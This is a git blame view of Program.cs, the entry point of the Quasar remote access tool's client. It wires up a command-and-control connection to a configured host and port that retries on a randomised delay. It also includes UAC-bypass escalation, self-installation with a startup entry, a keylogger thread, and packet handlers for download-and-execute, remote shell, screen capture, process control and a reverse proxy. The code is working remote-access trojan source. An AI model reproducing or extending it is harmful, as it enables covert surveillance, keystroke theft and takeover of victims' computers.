Quasar/Client/Program.cs

241 lines
8.6 KiB
C#
Raw Normal View History

2015-01-13 10:29:11 -08:00
using System;
using System.Diagnostics;
2014-07-08 05:58:53 -07:00
using System.IO;
using System.Threading;
using System.Windows.Forms;
2015-01-13 10:29:11 -08:00
using xClient.Config;
using xClient.Core;
using xClient.Core.Commands;
2015-05-01 05:50:38 -07:00
using xClient.Core.Keylogger;
using xClient.Core.Networking;
2015-01-13 10:29:11 -08:00
using xClient.Core.Packets;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
namespace xClient
2014-07-08 05:58:53 -07:00
{
internal static class Program
2014-07-08 05:58:53 -07:00
{
2015-01-15 01:10:52 -08:00
public static Client ConnectClient;
private static bool _reconnect = true;
private static volatile bool _connected = false;
private static Mutex _appMutex;
private static ApplicationContext _msgLoop;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
[STAThread]
private static void Main(string[] args)
2014-07-08 05:58:53 -07:00
{
2015-01-13 10:29:11 -08:00
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
2015-03-17 09:22:42 -07:00
2015-01-13 10:29:11 -08:00
Settings.Initialize();
Initialize();
if (!SystemCore.Disconnect)
Connect();
2014-07-08 05:58:53 -07:00
2015-03-17 09:22:42 -07:00
Cleanup();
}
private static void Cleanup()
{
2015-01-13 10:29:11 -08:00
CommandHandler.CloseShell();
2015-03-18 10:57:51 -07:00
if (CommandHandler.LastDesktopScreenshot != null)
CommandHandler.LastDesktopScreenshot.Dispose();
2015-05-01 05:50:38 -07:00
if (Logger.Instance != null)
Logger.Instance.Dispose();
2015-05-23 05:24:31 -07:00
if (_msgLoop != null)
_msgLoop.ExitThread();
2015-01-15 01:10:52 -08:00
if (_appMutex != null)
_appMutex.Close();
CommandHandler.StreamCodec = null;
2014-07-08 05:58:53 -07:00
}
private static void InitializeClient()
{
2015-03-31 09:15:48 -07:00
ConnectClient = new Client();
ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[]
{
typeof (Core.Packets.ServerPackets.InitializeCommand),
typeof (Core.Packets.ServerPackets.Disconnect),
typeof (Core.Packets.ServerPackets.Reconnect),
typeof (Core.Packets.ServerPackets.Uninstall),
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
typeof (Core.Packets.ServerPackets.UploadAndExecute),
typeof (Core.Packets.ServerPackets.Desktop),
typeof (Core.Packets.ServerPackets.GetProcesses),
typeof (Core.Packets.ServerPackets.KillProcess),
typeof (Core.Packets.ServerPackets.StartProcess),
typeof (Core.Packets.ServerPackets.Drives),
typeof (Core.Packets.ServerPackets.Directory),
typeof (Core.Packets.ServerPackets.DownloadFile),
typeof (Core.Packets.ServerPackets.MouseClick),
typeof (Core.Packets.ServerPackets.GetSystemInfo),
typeof (Core.Packets.ServerPackets.VisitWebsite),
typeof (Core.Packets.ServerPackets.ShowMessageBox),
typeof (Core.Packets.ServerPackets.Update),
typeof (Core.Packets.ServerPackets.Monitors),
typeof (Core.Packets.ServerPackets.ShellCommand),
typeof (Core.Packets.ServerPackets.Rename),
typeof (Core.Packets.ServerPackets.Delete),
typeof (Core.Packets.ServerPackets.Action),
typeof (Core.Packets.ServerPackets.GetStartupItems),
typeof (Core.Packets.ServerPackets.AddStartupItem),
typeof (Core.Packets.ServerPackets.RemoveStartupItem),
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
typeof (Core.Packets.ServerPackets.GetLogs),
typeof (Core.Packets.ClientPackets.Initialize),
typeof (Core.Packets.ClientPackets.Status),
typeof (Core.Packets.ClientPackets.UserStatus),
typeof (Core.Packets.ClientPackets.DesktopResponse),
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
typeof (Core.Packets.ClientPackets.DrivesResponse),
typeof (Core.Packets.ClientPackets.DirectoryResponse),
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
2015-05-16 21:07:17 -07:00
typeof (Core.Packets.ClientPackets.GetLogsResponse),
2015-05-10 10:02:10 -07:00
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
});
ConnectClient.ClientState += ClientState;
ConnectClient.ClientRead += ClientRead;
ConnectClient.ClientFail += ClientFail;
}
2015-01-13 10:29:11 -08:00
private static void Initialize()
2014-07-08 05:58:53 -07:00
{
2015-01-15 01:10:52 -08:00
Thread.Sleep(2000);
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
SystemCore.MyPath = Application.ExecutablePath;
2015-04-25 09:49:52 -07:00
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
2015-01-13 10:29:11 -08:00
SystemCore.AccountType = SystemCore.GetAccountType();
SystemCore.InitializeGeoIp();
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (Settings.ENABLEUACESCALATION)
{
if (SystemCore.TryUacTrick())
SystemCore.Disconnect = true;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (SystemCore.Disconnect)
return;
}
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
2014-07-08 05:58:53 -07:00
{
2015-01-15 01:10:52 -08:00
if (!SystemCore.CreateMutex(ref _appMutex))
2015-01-13 10:29:11 -08:00
SystemCore.Disconnect = true;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (SystemCore.Disconnect)
return;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
new Thread(SystemCore.UserIdleThread).Start();
2014-07-08 05:58:53 -07:00
2015-05-31 11:52:03 -07:00
if (Settings.STARTUP && Settings.INSTALL)
{
SystemCore.AddToStartup();
}
InitializeClient();
2015-05-01 05:50:38 -07:00
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
Logger logger = new Logger(15000);
Application.Run(_msgLoop);
}).Start(); ;
2015-05-01 05:50:38 -07:00
}
2015-01-13 10:29:11 -08:00
}
else
{
2015-01-15 01:10:52 -08:00
if (!SystemCore.CreateMutex(ref _appMutex))
2015-01-13 10:29:11 -08:00
SystemCore.Disconnect = true;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (SystemCore.Disconnect)
return;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
SystemCore.Install();
}
}
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
private static void Connect()
2014-07-08 05:58:53 -07:00
{
2015-01-13 10:29:11 -08:00
TryAgain:
Thread.Sleep(250 + new Random().Next(0, 250));
2014-07-08 05:58:53 -07:00
2015-01-15 01:10:52 -08:00
if (!_connected)
ConnectClient.Connect(Settings.HOST, Settings.PORT);
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
Thread.Sleep(200);
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
Application.DoEvents();
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
HoldOpen:
2015-01-15 01:10:52 -08:00
while (_connected) // hold client open
2015-01-13 10:29:11 -08:00
{
Application.DoEvents();
Thread.Sleep(2500);
}
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
if (SystemCore.Disconnect)
{
2015-01-15 01:10:52 -08:00
ConnectClient.Disconnect();
2015-01-13 10:29:11 -08:00
return;
}
2014-07-08 05:58:53 -07:00
2015-01-15 01:10:52 -08:00
if (_reconnect && !SystemCore.Disconnect && !_connected)
2015-01-13 10:29:11 -08:00
goto TryAgain;
else
goto HoldOpen;
2014-07-08 05:58:53 -07:00
}
2015-01-13 10:29:11 -08:00
2015-05-28 15:25:40 -07:00
public static void Disconnect(bool reconnect = false)
{
if (reconnect)
CommandHandler.CloseShell();
else
SystemCore.Disconnect = true;
ConnectClient.Disconnect();
}
private static void LostConnection()
{
CommandHandler.CloseShell();
}
2015-01-13 10:29:11 -08:00
private static void ClientState(Client client, bool connected)
{
2015-01-13 10:29:11 -08:00
if (connected && !SystemCore.Disconnect)
2015-01-15 01:10:52 -08:00
_reconnect = true;
2015-01-13 10:29:11 -08:00
else if (!connected && SystemCore.Disconnect)
2015-01-15 01:10:52 -08:00
_reconnect = false;
2015-01-13 10:29:11 -08:00
else
2015-01-15 01:10:52 -08:00
_reconnect = !SystemCore.Disconnect;
if (_connected != connected && !connected && _reconnect && !SystemCore.Disconnect)
LostConnection();
_connected = connected;
}
2015-01-13 10:29:11 -08:00
2015-01-15 01:10:52 -08:00
private static void ClientRead(Client client, IPacket packet)
{
2015-05-28 15:25:40 -07:00
PacketHandler.HandlePacket(client, packet);
}
private static void ClientFail(Client client, Exception ex)
{
Debug.WriteLine("Exception Message: " + ex.Message);
client.Disconnect();
}
2014-07-08 05:58:53 -07:00
}
2015-01-13 10:29:11 -08:00
}